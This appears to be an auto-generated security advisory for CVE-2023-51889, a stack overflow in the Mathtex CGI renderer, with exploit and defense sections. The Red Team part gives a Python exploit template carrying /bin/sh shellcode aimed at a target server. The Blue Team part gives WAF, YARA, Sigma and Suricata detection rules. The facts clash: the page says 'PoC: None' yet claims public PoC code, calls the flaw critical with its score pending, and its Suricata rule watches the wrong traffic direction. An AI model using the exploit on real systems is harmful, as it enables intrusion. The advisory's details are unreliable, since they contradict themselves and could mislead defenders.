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CVE-2023-51889

CVE-2023-51889 Stack Overflow in Mathtex
📅 PUBLISHED: 2024-01-24 00:00 UTC 🔄 UPDATED: 2026-09-23 10:16 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.28%
👁️
1.28% probability
31.9× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-51889 is a critical stack-based buffer overflow vulnerability in the validate() function of Mathtex version 1.05 and earlier. This flaw allows a remote, unauthenticated attacker to trigger arbitrary code execution by sending a specially crafted string via the application URL. The vulnerability resides in the core input validation logic, where insufficient bounds checking on user-supplied data leads to memory corruption. Given the lack of an official patch and the public availability of proof-of-concept (PoC) code, this vulnerability poses a significant risk to any system running the affected Mathtex software. Immediate mitigation through network segmentation and input filtering is strongly recommended.

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Supply Chain & Package Security

Mathtex is a standalone CGI application, not distributed via package managers like NPM, PyPI, Go, or Ruby. Therefore, supply chain security concerns are limited to the direct download and deployment of the binary from the vendor's website. Users should verify the integrity of any downloaded Mathtex binaries using checksums provided by the vendor, if available.

CVSS Breakdown & Threat Level

The official CVSS score is 0.0, indicating that the NVD has not yet assigned a score. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  • Attack Vector (AV): Network (N) - Exploitable remotely.
  • Attack Complexity (AC): Low (L) - No special conditions required.
  • Privileges Required (PR): None (N) - No authentication needed.
  • User Interaction (UI): None (N) - No user action required.
  • Scope (S): Unchanged (U) - The vulnerable component is the only one affected.
  • Confidentiality (C): High (H) - Full system compromise possible.
  • Integrity (I): High (H) - Full system compromise possible.
  • Availability (A): High (H) - Full system compromise possible.

Threat Level: Critical. The vulnerability is remotely exploitable, requires no authentication, and can lead to complete system compromise.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow (CWE-121) located in the validate() function of Mathtex. This function is responsible for parsing and validating user-supplied input, typically passed via the URL query string (e.g., ?formula=...).

The root cause is the use of a fixed-size stack buffer to store the user input without proper length checking. When an attacker provides a string longer than the allocated buffer, the excess data overwrites adjacent memory on the stack, including the function's return address and other critical data.

By carefully crafting the overflow payload, an attacker can control the overwritten return address, redirecting program execution to arbitrary code (shellcode) injected as part of the payload. This allows the attacker to execute arbitrary commands with the privileges of the Mathtex process (typically the web server user, e.g., www-data).

The exploit is triggered by sending a GET request to the Mathtex CGI endpoint with an overly long parameter value. The validate() function does not truncate or reject the input, leading to the overflow.

Vulnerable vs. Patched Code

Since no official patch is available, a comparison is based on the vulnerable code pattern.

Vulnerable Code (Mathtex <= 1.05):

void validate(char *input) {
    char buffer[256]; // Fixed-size buffer
    strcpy(buffer, input); // Unsafe copy - no bounds checking
    // ... further processing
}

Patched Code (Hypothetical):

void validate(char *input) {
    char buffer[256]; // Fixed-size buffer
    strncpy(buffer, input, sizeof(buffer) - 1); // Safe copy with length limit
    buffer[sizeof(buffer) - 1] = '\0'; // Ensure null termination
    // ... further processing
}

The patched version uses strncpy() to limit the number of bytes copied to the buffer, preventing the overflow. Additionally, it explicitly null-terminates the buffer to avoid potential issues with strncpy not null-terminating if the source is longer than the destination.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Target: A Linux server (e.g., Ubuntu 20.04) running Apache with the Mathtex CGI binary (version 1.05) installed and accessible.
  2. Attacker: A Kali Linux machine with network access to the target.

Exploitation Steps:

  1. Identify the vulnerable endpoint: The Mathtex CGI is typically located at /cgi-bin/mathtex.cgi.
  2. Craft the exploit payload: The payload must contain shellcode to execute a command (e.g., a reverse shell) and the appropriate padding to overwrite the return address.
  3. Send the exploit: Use a tool like curl or a custom Python script to send the malicious request.

Example Python Exploit Script:

import socket
import sys

# Target configuration
target_host = "192.168.1.100"
target_port = 80

# Shellcode (example: Linux/x86 - execve /bin/sh)
shellcode = (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
    "\x53\x89\xe1\xb0\x0b\xcd\x80"
)

# Buffer overflow payload
buffer_size = 256
offset_to_ret = 260  # Example offset, needs to be determined via debugging
ret_addr = "\x90\x90\x90\x90"  # Placeholder return address (e.g., address of buffer)

# Build the payload
payload = "A" * offset_to_ret
payload += ret_addr
payload += "\x90" * 100  # NOP sled
payload += shellcode

# HTTP request
request = (
    "GET /cgi-bin/mathtex.cgi?formula=" + payload + " HTTP/1.1\r\n"
    "Host: " + target_host + "\r\n"
    "Connection: close\r\n\r\n"
)

# Send the request
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_host, target_port))
sock.send(request.encode('latin-1'))
response = sock.recv(4096)
print(response.decode('latin-1'))
sock.close()

Note: The exact offset and return address must be determined by analyzing the specific Mathtex binary (e.g., using GDB or a fuzzer). The above is a template.

Blue Team (Defensive)

Detection & Prevention:

  1. Web Application Firewall (WAF): Deploy a WAF with rules to detect and block excessively long query string parameters. For example, a ModSecurity rule:
    SecRule ARGS "@rx .{256,}" "id:1000,phase:2,deny,status:403,msg:'Potential Buffer Overflow Attempt'"
    
  2. Input Validation: Implement strict input validation at the reverse proxy or load balancer level. Reject any request where the formula parameter exceeds a reasonable length (e.g., 200 characters).
  3. Network Segmentation: Place the Mathtex server in a DMZ with limited outbound access to prevent a successful exploit from establishing a reverse shell.
  4. System Hardening: Run the Mathtex CGI with the lowest possible privileges (e.g., a dedicated user with no shell access). Use tools like grsecurity or SELinux to enforce mandatory access controls.
  5. Monitoring: Monitor for unusual HTTP requests with very long query strings or repeated requests to the Mathtex endpoint.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP GET requests to /cgi-bin/mathtex.cgi with a formula parameter longer than 256 characters.
    • Requests containing non-printable characters or long sequences of the same character (e.g., AAAA...).
    • Outbound connections from the Mathtex server to unknown IP addresses on unusual ports (e.g., 4444, 31337).
  • Host IOCs:
    • Unexpected processes spawned by the web server user (e.g., /bin/sh, /bin/bash).
    • Unusual files created in /tmp or /dev/shm.
    • Core dumps from the Mathtex process.
    • Modified system binaries or configuration files.
  • Log IOCs:
    • Apache access logs showing requests with extremely long URIs.
    • System logs (e.g., /var/log/syslog) showing segmentation faults or crashes from the Mathtex process.

Detection Engineering

YARA Rule

rule CVE_2023_51889_Mathtex_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2023-51889 in HTTP traffic"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-51889"
    strings:
        $http_get = "GET /cgi-bin/mathtex.cgi?formula="
        $long_string = /formula=[A-Za-z0-9%]{256,}/
        $nop_sled = /\x90{50,}/
        $shellcode = {
            31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50
            53 89 e1 b0 0b cd 80
        }
    condition:
        $http_get and ($long_string or $nop_sled or $shellcode)
}

Sigma Rule

title: CVE-2023-51889 Mathtex Buffer Overflow Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests targeting Mathtex with overly long query strings, indicating a potential buffer overflow exploit.
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: '/cgi-bin/mathtex.cgi?formula='
        cs-uri-query|length: >= 300
    condition: selection
falsepositives:
    - Legitimate use of very long formulas (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-51889 Mathtex Buffer Overflow Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/cgi-bin/mathtex.cgi?formula="; http_uri;
    pcre:"/formula=.{256,}/Ri";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the Mathtex server: If possible, take the server offline or move it to a highly restricted network segment.
  2. Apply virtual patching: Use a WAF or reverse proxy to block requests with overly long formula parameters.
  3. Disable the Mathtex CGI: If the service is not critical, remove or disable the mathtex.cgi binary.

Long-Term Solutions:

  1. Develop and apply a patch: The vendor or the community should create a patched version of Mathtex that uses safe string functions (e.g., strncpy or snprintf).
  2. Migrate to an alternative: Consider using a more modern and actively maintained LaTeX rendering solution, such as MathJax or KaTeX, which are JavaScript-based and do not have this type of vulnerability.
  3. Regular security audits: Conduct periodic code reviews and penetration testing of all web-facing applications.

Valters IT - This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.

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